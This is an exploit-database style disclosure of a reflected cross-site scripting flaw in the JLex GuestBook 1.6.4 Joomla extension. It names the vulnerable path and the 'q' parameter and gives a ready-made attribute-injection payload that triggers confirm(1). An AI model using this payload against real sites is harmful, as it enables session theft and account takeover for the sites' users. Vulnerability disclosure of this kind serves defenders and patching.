Joomla JLex GuestBook 1.6.4 Cross Site Scripting

# Exploit Title: JLex GuestBook 1.6.4 - Reflected XSS# Exploit Author: CraCkEr# Date: 01/08/2023# Vendor: JLexArt# Vendor Homepage: https://jlexart.com/# Software Link: https://extensions.joomla.org/extension/contacts-and-feedback/guest-book/jlex-guestbook/# Demo: https://jlexguestbook.jlexart.com/# Tested on: Windows 10 Pro# Impact: Manipulate the content of the site ## GreetingsThe_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka  CryptoJob (Twitter) twitter.com/0x0CryptoJob## DescriptionThe attacker can send to victim a link containing a malicious URL in an email or instant messagecan perform a wide variety of actions, such as stealing the victim's session token or login credentialsPath: /u/perry-705GET parameter 'q' is vulnerable to XSShttp://website/u/perry-705?q=[XSS]&wl=1XSS Payloads:db8ck"onfocus="confirm(1)"autofocus="xwu0k[-] Done